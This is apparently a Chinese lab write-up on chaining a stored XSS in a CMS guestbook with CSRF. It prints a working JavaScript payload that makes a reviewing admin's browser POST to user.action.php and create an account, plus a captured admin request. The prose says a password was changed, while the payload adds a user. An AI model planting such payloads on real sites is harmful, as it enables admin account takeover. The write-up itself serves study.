文章目录

  • 修改cms网站后台管理员密码
  • 成功登录
  • 总结

修改cms网站后台管理员密码

CSRF和XSS结合的JS代码:

xmlhttp = new XMLHttpRequest();xmlhttp.open("post","http://10.4.7.130/cms/admin/user.action.php",false);xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");xmlhttp.send("act=add&username=ajest&password=123.com&password2=123.com&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");

登录cms管理员后台,创建一个新账户:

修改密码并用bp抓包,抓到的post请求包如下:

POST /cms/admin/user.action.php HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 95Origin: http://127.0.0.1Connection: closeReferer: http://127.0.0.1/cms/admin/user.add.php" />

打开cms网页,在留言板中添加这段js代码并留言,提交:

当管理员在后台审核,看到这段留言时已经被攻击,EMT用户的密码已经被修改:

后台尝试登录EMT账户,发现不成功,密码已经被修改:

成功登录

用之前抓包修改的密码发现果然可以登录:

总结

我们先用bp在后台管理员修改账户密码的时候抓到了它的post请求包,然后将password字段修改后放入一段JS代码中,这段代码是XSS和CSRF漏洞的结合,接着我们找到cms网页中存在XSS漏洞的位置,即留言板,利用留言板注入JS代码,当后台管理审核留言时看到我们的留言,就会被攻击,使得网站的状态被改变,从而使EMT用户的密码被修改,这就是XSS和CSRF的结合。